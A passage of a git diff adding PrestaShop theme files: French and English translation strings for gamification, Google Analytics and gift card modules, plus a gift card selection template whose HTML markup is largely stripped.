défini 3 thèmes essentiels pour évaluer le niveau de développement de votre boutique : les fonctionnalités clés à configurer, vos performances commerciales et votre visibilité à l\'international.'; +$_MODULE['<{gamification}default>view_21dc1cfc9ef1cdfbb665cab323d5e1a9'] = 'A vous de jouer !'; +$_MODULE['<{gamification}default>view_8ba134cf899d862079bbf3964bc7d7d4'] = 'Notre équipe est à votre disposition pour vous aider à progresser... Contactez-nous !'; +$_MODULE['<{gamification}default>view_bcc254b55c4a1babdf1dcb82c207506b'] = 'Téléphone'; +$_MODULE['<{gamification}default>view_b39131f9b4f81406be4f9cca784f99c8'] = 'Par téléphone : +33 (0)1 40 18 30 04'; +$_MODULE['<{gamification}default>view_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Email'; +$_MODULE['<{gamification}default>view_119c7e70192829bf606e3774254c6167'] = 'Par email'; +$_MODULE['<{gamification}default>view_6b6ac7834d96afefbca5677814769109'] = 'Progrès'; +$_MODULE['<{gamification}default>view_82338dd23ce2fd2f6d3606c20f4ee96e'] = 'Pas de badge dans cette section'; +$_MODULE['<{gamification}default>notification_a0db49ba470c1c9ae2128c3470339153'] = 'Niveau'; +$_MODULE['<{gamification}default>notification_ca96b4f8d13722aac99da25f94ea1711'] = 'Votre Expertise PrestaShop'; +$_MODULE['<{gamification}default>notification_16a1daea9e8873542aec1e820798aa44'] = 'Dernier badge gagné :'; +$_MODULE['<{gamification}default>notification_15377177c0259c6f79341cc57da13f19'] = 'Prochain badge :'; +$_MODULE['<{gamification}default>notification_f8978f781f97e6f851e9c8f7059c37b2'] = 'Voir mon orofil complet'; diff --git a/themes/default/modules/ganalytics/translations/en.php b/themes/default/modules/ganalytics/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/ganalytics/translations/fr.php b/themes/default/modules/ganalytics/translations/fr.php new file mode 100755 index 0000000..1655206 --- /dev/null +++ b/themes/default/modules/ganalytics/translations/fr.php @@ -0,0 +1,49 @@ +ganalytics_7510f8b22dd3e10476096425f78d4239'] = 'Vous n\'avez pas encore renseigné votre ID Google Analytics'; +$_MODULE['<{ganalytics}default>ganalytics_aba1a7971f85c725ba4aed21343eeb4b'] = 'Intègre le script de Google Analytics à votre boutique'; +$_MODULE['<{ganalytics}default>ganalytics_fa214007826415a21a8456e3e09f999d'] = 'Etes-vous sûr de vouloir supprimer vos paramètres ?'; +$_MODULE['<{ganalytics}default>ganalytics_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{ganalytics}default>ganalytics_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{ganalytics}default>ganalytics_d7c9ce3337a28d63ce6626d90fdaedaa'] = 'Votre identifiant'; +$_MODULE['<{ganalytics}default>ganalytics_81eeab9506186e2dca8faefa78d54067'] = 'Exemple :'; +$_MODULE['<{ganalytics}default>ganalytics_a3e7f361e6fc12caf872119338642143'] = 'Enregistrer l\'identifiant'; +$_MODULE['<{ganalytics}default>ganalytics_6a26f548831e6a8c26bfbbd9f6ec61e0'] = 'Aide'; +$_MODULE['<{ganalytics}default>ganalytics_d78b0fcff6b55bafe615f3fc1572c282'] = 'La première étape pour analyser les transactions e-commerce consiste à activer l\'archivage sur le profil de votre site.'; +$_MODULE['<{ganalytics}default>ganalytics_d02388589ecfd3b58e0a90e42127ca61'] = 'Pour activer l\'option e-commerce, suivez ces étapes :'; +$_MODULE['<{ganalytics}default>ganalytics_11f4b4ba23dc72ee5e86ff5a90bdde60'] = 'Connectez-vous à votre compte'; +$_MODULE['<{ganalytics}default>ganalytics_b452493b16ead8b4b25ab3fb7174b8f5'] = 'Cliquez sur Edit, à côté du profil que vous désirez activer'; +$_MODULE['<{ganalytics}default>ganalytics_95df6d8c97e880d8f6895d824d72c353'] = 'Sur la page \"Paramètres des profils\", cliquez sur \"Modifier\" en regard de l\'option \"Informations sur le profil du site principal\"'; +$_MODULE['<{ganalytics}default>ganalytics_5189c0be0481408c9301c377818e69dc'] = 'Modifiez le bouton radio \"E-commerce\" sur \"Oui\"'; +$_MODULE['<{ganalytics}default>ganalytics_98d12a01ab2aeeb10b7100eecf1974a8'] = 'Afin de définir vos objectifs, saisissez les informations de l\'objectif :'; +$_MODULE['<{ganalytics}default>ganalytics_a44698a775d2fec04549ba6a2ac00491'] = 'Retournez sur la page d\'accueil de votre compte'; +$_MODULE['<{ganalytics}default>ganalytics_dbec126ee3be2cd285a32a8d413fd1fa'] = 'Trouvez le profil correspondant à l\'objectif et éditez-le'; +$_MODULE['<{ganalytics}default>ganalytics_c4af40d39b97cf98040540639841e27a'] = 'Sélectionnez un des 4 emplacements disponibles pour ce profil et cliquez sur Editer'; +$_MODULE['<{ganalytics}default>ganalytics_c3b99aa9b4638183dc1bf55f955ed9ae'] = 'Entrez l\'URL de la page d\'objectif. Une conversion est enregistrée chaque fois qu\'un visiteur accède à cette page'; +$_MODULE['<{ganalytics}default>ganalytics_54849fd1a3b8bdde81bfd979bc43aaa9'] = 'Entrez le nom de l\'objectif tel qu\'il doit apparaître dans votre compte Google Analytics.'; +$_MODULE['<{ganalytics}default>ganalytics_62034d209119c06315f59a5de39c6717'] = 'Activez l\'objectif'; +$_MODULE['<{ganalytics}default>ganalytics_792795e7f3cedd66897ca35349101ba8'] = 'Ensuite, définissez un entonnoir de conversion en suivant ces étapes :'; +$_MODULE['<{ganalytics}default>ganalytics_467ed594f2aa9b3e802037a10bad61b1'] = 'Entrez l\'URL de la première page de votre entonnoir de conversion. Cette page doit être commune à tous les internautes que vous souhaitez amener jusqu\'à votre objectif'; +$_MODULE['<{ganalytics}default>ganalytics_2edf3f56ba30ad663429ba0e812a2396'] = 'Attribuez un nom à cette étape.'; +$_MODULE['<{ganalytics}default>ganalytics_c909bea215f88ff0de9888dc95eed1ca'] = 'Si cette étape est obligatoire dans l\'objectif, cochez la case à droite de cette étape.'; +$_MODULE['<{ganalytics}default>ganalytics_9d25cb4b66791343ca319b3cdb82dba6'] = 'Entrez toutes les étapes précédant l\'objectif jusqu\'à ce que vous ayez terminé de définir l\'entonnoir de conversion. Vous pouvez entrer de 1 à 10 étapes'; +$_MODULE['<{ganalytics}default>ganalytics_1c681b64f4cd8f52aecbb55c98f5c768'] = 'Pour finir, configurez les Paramètres complémentaires en procédant comme suit :'; +$_MODULE['<{ganalytics}default>ganalytics_bb1ca9cfa0f3f7dbd06a2364c9a0dc9c'] = 'Si les URL entrées ci-dessus sont sensibles à la casse, cochez la case.'; +$_MODULE['<{ganalytics}default>ganalytics_047cf7562621a3639b3e04a63dc6b41f'] = 'Sélectionnez l\'objectif approprié. ('; +$_MODULE['<{ganalytics}default>ganalytics_d59048f21fd887ad520398ce677be586'] = 'En savoir plus'; +$_MODULE['<{ganalytics}default>ganalytics_f0c5b61aabf16d5ce925722b65c9aad8'] = 'sur les types de correspondances et sur la façon de choisir le type de correspondance approprié à votre objectif)'; +$_MODULE['<{ganalytics}default>ganalytics_3dcb5dddc6b7c11d4ea76a60dc1a0466'] = 'Entrez un objectif. Cette valeur est utilisée par les calculs ROI de Google Analytics.'; +$_MODULE['<{ganalytics}default>ganalytics_a39f026ca75c6279ac9487265c00e3f5'] = 'Cliquez sur Enregistrer les modifications pour créer cet objectif et cet entonnoir de conversion ou sur Annuler pour quitter sans enregistrer.'; +$_MODULE['<{ganalytics}default>ganalytics_cd4952b65560a1242c68ffc980a6e515'] = 'Démonstration : Le processus de commande'; +$_MODULE['<{ganalytics}default>ganalytics_efbf206b1b60cc0400c6147723509bd6'] = 'Après avoir activé vos reports e-commerce et sélectionné les profils respectifs, entrez \'order-confirmation.php\' comme page cible.'; +$_MODULE['<{ganalytics}default>ganalytics_68db264effa9364901183d9d12fac500'] = 'Nommez cet objectif (par exemple \'Processus de commande\')'; +$_MODULE['<{ganalytics}default>ganalytics_9b8bc3519c65da8fac122f91ac5b7673'] = 'Activez l\'objectif'; +$_MODULE['<{ganalytics}default>ganalytics_86a358dd6df1ba0cb3565b88380ba7a6'] = 'Ajoutez \'product.php\' comme la première page du cheminement de vos visiteurs'; +$_MODULE['<{ganalytics}default>ganalytics_b7f896191caad09b5fc34e79f1cefa76'] = 'Donnez lui un nom (par exemple \'Page produit\')'; +$_MODULE['<{ganalytics}default>ganalytics_ef7060dd05e779dcfbf82f236df43823'] = 'N\'activez pas la case \'requis\' parce que les clients pourraient visiter directement par un bouton \'Ajouter au panier\', tel que dans le module HomeFeatured sur la page d\'accueil.'; +$_MODULE['<{ganalytics}default>ganalytics_3bab28a0105361c49ca261ca08a19bf7'] = 'Faites de même en entrant les urls suivantes comme étapes de l\'objectif'; +$_MODULE['<{ganalytics}default>ganalytics_9bfb6e6af6e6793bfa9387e728187c87'] = 'requis'; +$_MODULE['<{ganalytics}default>ganalytics_6a47891ae07f45802bc948d2618e36f5'] = 'Vérifiez l\'option \'sensibilité de la casse\''; +$_MODULE['<{ganalytics}default>ganalytics_d2d0c38d112e1d775057388122ae7545'] = 'Sauvegardez cet objectif'; diff --git a/themes/default/modules/ganalyticscom/translations/en.php b/themes/default/modules/ganalyticscom/translations/en.php new file mode 100755 index 0000000..f4bc467 --- /dev/null +++ b/themes/default/modules/ganalyticscom/translations/en.php @@ -0,0 +1,31 @@ +ganalyticscom_3a9b11492656524c81fd835eda4ded3f'] = 'Google Analytics E-Commerce PHP'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_7947c0f9e25dddd3ba00b78ca496e5c3'] = 'Insertion commands in Google Analytics with PHP'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_393d4b30284b0fd8c1e2ec3ad03a0312'] = 'Google Analytics E-commerce Statistic Module - Manage your revenue income and conversion rate !'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_620bc018bf80308f682f91df6b816e67'] = 'Credit'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_e7785de91330713fc2d12404bb6bd556'] = 'Settings'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_73732af11836e1d28382c85553794bfd'] = 'Tracking ID'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_740b57fb19eeca4ffd4c612065a31e41'] = '(UA-xxxxxxx-xx)'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_dd8afbd38b01a7b4eb27f45fc036b881'] = 'logs'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_8af3b4001502204f3923c3b1c48f02e5'] = 'Order status insertion in Analytics'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_38af7f0de896d75a1d94a178e2a3e481'] = 'Status indicating order insertion in to Google Analytics.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_aa7fd053fc4e2ce5fe38ee70b9994bf4'] = 'Cancelling order status in Analytics'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_eba84e0392b6e5b32224e698d5b917f6'] = 'Status indicating cancellation of the order in Google Analytics.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_7898516eeaa2516be31596614058bd1d'] = 'Temps minimum avant de retenir un nouveau referer'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_03c7c0ace395d80182db07ae2c30f034'] = 's'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_894608ff381bebb55a0533d90a4a9ec4'] = 'Here is how GA updates the campaign tracking cookie based on referrer:'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_0fdce1d5346e778941201452ecea5296'] = 'Direct traffic is always overwritten by referrals, organic and tagged campaigns and does not overwrite existing campaign information'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_995a3c85f2b8598d7ce9b87383f4bd65'] = 'New campaign, referral or organic link that brings a visitor to the site always overrides the existing campaign cookie'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_1732453fd119a6599f7668dc1d21a2a8'] = 'For tracking transactions, the module creates a cookie different from that posed by Google Analytics, to retain the referer for a period of time that you can adjust.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_419d2b3db15fc52e4a163dfb10ae8ff4'] = 'If you wish to obtain statistics as close as possible to those of Google, we recommend that you leave the default value, 18 000 second (5 hours).'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_a2b6146f88b81e19b707d3543aa90496'] = 'If you want to retain the referer more time to analyze your conversion sources differently, it is possible to define the cookie lifetime greater.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_3c331e5c32b8c59a670fdf4964f6e41a'] = 'eg 5 hours = 18000s, 1 week = 604800s, 1 month = 2629800s'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_aed88202e2432ee2a613f9120ef7486b'] = 'Save'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_685c17e33c1f0268b39ef7a1491de281'] = 'Purge the database'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_22e0461ba9931f162f3c80d8c4c0621d'] = 'Add this URL to your crontab to automate purging the database:'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_e6eca1fc76fbcfc06a6081e6c9fe2c33'] = 'Purge'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_25a8f154ef990606468a39ab26b5f70c'] = 'The purge was successful.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_e9762da7ba70222119eb2439a81505e2'] = 'An error has occurred, the purge was not performed correctly.'; diff --git a/themes/default/modules/ganalyticscom/translations/fr.php b/themes/default/modules/ganalyticscom/translations/fr.php new file mode 100755 index 0000000..f109cdd --- /dev/null +++ b/themes/default/modules/ganalyticscom/translations/fr.php @@ -0,0 +1,31 @@ +ganalyticscom_3a9b11492656524c81fd835eda4ded3f'] = 'Google Analytics E-Commerce PHP'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_7947c0f9e25dddd3ba00b78ca496e5c3'] = 'Insertion des commandes dans Google Analytics en PHP'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_393d4b30284b0fd8c1e2ec3ad03a0312'] = 'Module de statistiques Google Analytics E-commerce - Pilotez votre CA et votre taux de conversion !'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_620bc018bf80308f682f91df6b816e67'] = 'Realisation : '; +$_MODULE['<{ganalyticscom}default>ganalyticscom_e7785de91330713fc2d12404bb6bd556'] = 'Paramètres'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_73732af11836e1d28382c85553794bfd'] = 'Code de suivi Analytics'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_740b57fb19eeca4ffd4c612065a31e41'] = '(UA-xxxxxxx-xx)'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_dd8afbd38b01a7b4eb27f45fc036b881'] = 'Activer le fichier de logs'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_8af3b4001502204f3923c3b1c48f02e5'] = 'Statuts insertion commande Analytics'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_38af7f0de896d75a1d94a178e2a3e481'] = 'Statuts déclenchant l\'insertion d\'une commande dans Google Analytics.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_aa7fd053fc4e2ce5fe38ee70b9994bf4'] = 'Statuts annulation commande Analytics'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_eba84e0392b6e5b32224e698d5b917f6'] = 'Statuts déclenchant l\'annulation d\'une commande dans Google Analytics.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_7898516eeaa2516be31596614058bd1d'] = 'Temps minimum avant de retenir un nouveau referer'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_03c7c0ace395d80182db07ae2c30f034'] = 's'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_894608ff381bebb55a0533d90a4a9ec4'] = 'Voici comment GA met à jour le cookie de suivi de campagne basée sur referrer:'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_0fdce1d5346e778941201452ecea5296'] = 'Le trafic direct est toujours écrasé par les sites référents, le search (organic), les campagnes payantes (adwords), et n\'écrase pas les informations de la campagne existante.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_995a3c85f2b8598d7ce9b87383f4bd65'] = 'Une nouvelle campagne, referer ou lien organique qui apporte un visiteur sur le site est toujours prioritaire sur le cookie et écrase les informations de la campagne existante.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_1732453fd119a6599f7668dc1d21a2a8'] = 'Pour tracker les transactions, le module pose un cookie différent de celui posé par Google Analytics, permettant de retenir le referer pendant un laps de temps que vous pouvez régler.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_419d2b3db15fc52e4a163dfb10ae8ff4'] = 'Pour se rapprocher au maximum des statistiques de Google, nous vous conseillons de laisser la valeur par défaut, c\'est à dire 18 000s soit 5h.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_a2b6146f88b81e19b707d3543aa90496'] = 'Si vous souhaitez retenir le referer plus de temps pour analyser différemment vos sources de conversion, il est donc possible de définir une durée de vie du cookie plus importante. '; +$_MODULE['<{ganalyticscom}default>ganalyticscom_3c331e5c32b8c59a670fdf4964f6e41a'] = 'ex: 18000s = 5h, 604800s = 1 semaine, 2629800s = 1 mois'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_aed88202e2432ee2a613f9120ef7486b'] = 'Enregistrer'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_685c17e33c1f0268b39ef7a1491de281'] = 'Purger la base de données'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_22e0461ba9931f162f3c80d8c4c0621d'] = 'Ajoutez cette URL à votre crontab pour automatiser la purge de la base de données:'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_e6eca1fc76fbcfc06a6081e6c9fe2c33'] = 'Purger'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_25a8f154ef990606468a39ab26b5f70c'] = 'La purge a été correctement effectuée.'; +$_MODULE['<{ganalyticscom}default>ganalyticscom_e9762da7ba70222119eb2439a81505e2'] = 'Une erreur est survenue, la purge ne s\'est pas effectuée correctement.'; diff --git a/themes/default/modules/giftcard/choicegiftcard.tpl b/themes/default/modules/giftcard/choicegiftcard.tpl new file mode 100755 index 0000000..5b2e95e --- /dev/null +++ b/themes/default/modules/giftcard/choicegiftcard.tpl @@ -0,0 +1,402 @@ + {* + * + * GIFT CARD + * + * @category pricing_promotion + * @author Timactive - Romain DE VERA + * @copyright TIMACTIVE 2013 + * @version 1.0.0 + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5 + * + *} +{* Variable used in js*} + + +{capture name=path}{l s='Gift card' mod='giftcard'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        + +
        + {* visible when ajax call*} +
        + {*** CONTENT HTML / SETTING MODULE ***} +
        +

        {l s='Gift card' mod='giftcard'}

        +
        + {$front_content} +
        +
        +
        + {*** END CONTENT HTML / SETTING MODULE ***} +
        + + {if !isset($templates) || count($templates) == 0} +

        + {l s='No model available' mod='giftcard'} +

        + {elseif !isset($cards) || $cards|@count == 0} +

        + {l s='No card available' mod='giftcard'} +

        + {else} + {*** STEP 1 BLOCK SELECT TEMPLATE ***} +

        1. {l s='Select a template' mod='giftcard'}

        +
        + +
        + {******* TAB CONTENT ALL TEMPLATES ******} +
        + {if isset($templates) && count($templates) > 0} +
        +
        + +
        + + + {*

        *} +
        + {/if} +
        + {******* END TAB CONTENT ALL TEMPLATES ******} + {******* TAB CONTENT BY FILTER TAG ******} + {if isset($tags) && $tags && $tags|@count > 0} + {foreach from=$tags item=tag} +
        + {if isset($templatesGroupTag[$tag.id_gift_card_tag]) && $templatesGroupTag[$tag.id_gift_card_tag]|@count > 0} +
        +
        + +
        + + + {*

        *} +
        + {/if} +
        + {/foreach} + {/if} + {******* END TAB CONTENT BY FILTER TAG ******} +
        +
        + {*** END STEP 1 BLOCK SELECT TEMPLATE ***} +
        + {*** STEP 2 GIFT CARD INFORMATION ***} +

        2. {l s='Gift card information' mod='giftcard'}

        + + {include file="$tpl_dir./errors.tpl"} +
        +
        + + + + +

        + {l s='Choose an amount' mod='giftcard'} +

        +
        + {*id==$carditem.id_product))}checked{/if}> + {convertPrice price=$carditem.price} + + + + {**} + {/foreach} + {**} +
        +
        + +

        + + +

        +

        + + +

        +
        + + +

        + + +

        (200 {l s='remaining characters' mod='giftcard'})
        +

        +
        + +
        +

        3. {l s='Select the reception mode' mod='giftcard'}

        +
        +
        + + +
        +
        + + + + +
        + {*** END STEP 2 GIFT CARD INFORMATION ***} + + {*** STEP 3 RECEPTION MODE ***} + + {*** END STEP 3 RECEPTION MODE ***} +
        + {* is use for display ajax messages errors, sucess*} +
        + {*** BUTTON SUBMIT ***} +
        + {if !$mobile_device} + + {/if} + +
        +
        +
        +
        +
        + {*** END BUTTON SUBMIT ***} +
        + {/if} +
        +
        +
        +
        +
        + {if $product->video_1!=""} +
        {l s='La créatrice en parle'}
        {$product->video_1}
        + {/if} + {if isset($accessories) && $accessories} +
        {l s='Vous aimerez aussi'}
        +
        +
        +
          + {foreach from=$accessories item=accessoire} +
        • + + {$accessoire.legend|escape:'htmlall':'UTF-8'} + +
        • + {/foreach} +
        +
        +
        + > + > +
        + + {/if} + + {if $product->video_2!=""}
        {l s='Vu à la télé'}
        {$product->video_2}
        {/if} +
        + \ No newline at end of file diff --git a/themes/default/modules/giftcard/translations/en.php b/themes/default/modules/giftcard/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/modules/giftcard/translations/fr.php b/themes/default/modules/giftcard/translations/fr.php new file mode 100755 index 0000000..43bd0c2 --- /dev/null +++ b/themes/default/modules/giftcard/translations/fr.php @@ -0,0 +1,226 @@ +admingiftcardcontroller_c03d53b70feba4ea842510abecd6c45e'] = 'Photo'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_5e2ff470c4413ed3333b78b6c45e2c5f'] = 'Affichage devise'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_344d095f3685cd7909e2c2e89ea2bce0'] = 'Utilisation partielle'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_b00b85425e74ed2c85dc3119b78ff2c3'] = 'Frais de port offert'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_7a1920d61156abc05a60135aefe8bc67'] = 'Défaut'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_8cdf1c6345219fcfde50615a78ad3ce6'] = 'Boutique défaut'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_d3b206d196cd6be3a2764c1fb90b200f'] = 'Supprimer la sélection'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_e25f0ecd41211b01c83e5fec41df4fe7'] = 'Supprimer la sélection?'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_ede4759c9afae620fd586628789fa304'] = 'Activer la sélection'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_ab7fd6e250b64a46027a996088fdff74'] = 'Désactiver la sélection'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_a098c6f7ed63782a8d5f917277f3a81d'] = 'Un modèle défaut est requis pour la création des images produits'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_193bbde39cb6cf9f53d2ace856a367e0'] = 'Une erreur s\'est produite pendant la création de l\'image à partir du modèle défaut.'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_6e2ef4251e0a17e9fdf092e9e071865b'] = 'La carte a été créée avec succès'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_9c34fe9d05bccbb346eec96392857ef6'] = 'La carte a été mis à jour avec succès'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_9556869542476a8e2288cc5f7d4092b6'] = 'Une erreur s\'est produite pendant la mise à jour'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_23d643a27605a124ebc91ad18a21b66e'] = 'Le champ \'nom\' est vide. Vous devez saisir un nom pour la langue défaut avant de pouvoir enregistrer.'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_b9a7535676a66ca537ed5d4c6a15f51a'] = 'Le champ \'prix\' est requis et doit être supérieur à 0'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_bf82064ed593c4b8f773403b14c9cf7f'] = 'Le champ ean13 n\'est pas valide'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_38b598df404e245a5514da56c1e71419'] = 'Le champs upc n\'est pas valide'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_dc24e60bf8e307a56e417944b521e0e2'] = 'Le champs période est requis et doit être supérieur à 0 et inférieur à 1000'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_0f5c3acf37a61219addff19aae347970'] = 'Le champs quantité est requis et doit être supérieur à 0'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_f7de1b71605a10ef04416effa4c6e09e'] = 'Sauvegarder et rester'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_e6bc658d1d1b80a5b522ad370116a2c9'] = 'Carte Cadeau'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_4e140ba723a03baa6948340bf90e2ef6'] = ' Nom:'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_6252c0f2c2ed83b7b06dfca86d4650bb'] = 'Invalide caractères:'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_386c339d37e737a436499d423a77df0c'] = 'Devise'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_1800367c230c28bdf3fd2e839345ea21'] = 'Carte cadeau seulement visible'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_14eaed34083f2053dfc768d756e0ec3c'] = 'Toutes devises'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_694e8d1f2ee056f98ee488bdc4982d73'] = 'Quantité'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_58a67a15610d2597611bb837b763702d'] = 'Période de validité'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_63d5049791d9d79d86e9a108b0a999ca'] = 'Référence'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_51b2e055027d9ef6255110810fb06207'] = 'EAN13'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_4fb223e52c7cfb3596cf0c4e345e07ed'] = 'UPC'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_b51a203cee37965537db75688feaef75'] = 'Ne s\'applique que si la valeur de la réduction est supérieure au montant total du panier.'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_45ec8a24a8f55af16fad097e8a4fb9fe'] = 'Si vous n\'autorisez pas les utilisations partielles, la valeur du bon de réduction sera abaissée à la valeur du panier. Si en revanche vous autorisez les utilisations partielles, un nouveau bon sera créé avec le solde.'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_9d55fc80bbb875322aa67fd22fc98469'] = 'Boutiques associées'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_5fb1f955b45e38e31789286a1790398d'] = 'Toutes'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_6f8497a354aa10bd46e65cdf8e39f6b6'] = 'Non défaut'; +$_MODULE['<{giftcard}default>admingiftcardcontroller_d9b5b2302d57f3d13d5387ba9c99daae'] = 'Une erreur s\'est produite, pendant la création'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_a240fa27925a635b08dc28c9e4f9216d'] = 'Commande'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_278c491bdd8a53618c149c4ac790da34'] = 'Modèle'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_3601146c4e948c32b6424d2c0a7f0118'] = 'Prix'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_5d6103b662f41b07e10687f03aca8fdc'] = 'Destinataire'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_ca0dbad92a874b2f69b549293387925e'] = 'Code'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_4059b0251f66a18cb56f544728796875'] = 'Info'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_1fc54c0ab4a0602ae1f8c5d22bd82446'] = 'Voir la personnalisation'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_b314b715132fb2f685cd7ac691706d84'] = 'Attente commande acceptée'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_cb65733b2ee55e1e4f0c489485801829'] = 'Envoi en erreur'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_0e22fe7d45f8e5632a4abf369b24e29c'] = 'Annulée'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_654a39eb70f05b3e91adbe05b050923e'] = 'Utilisé dans la commande #%s'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_f90bec5942e6aa8ef29c4a31aa68ff10'] = 'Non utilisée'; +$_MODULE['<{giftcard}default>admingiftcardordercontroller_1e895ae086994065ceec58cf7ceb1e5d'] = 'Email envoyé'; 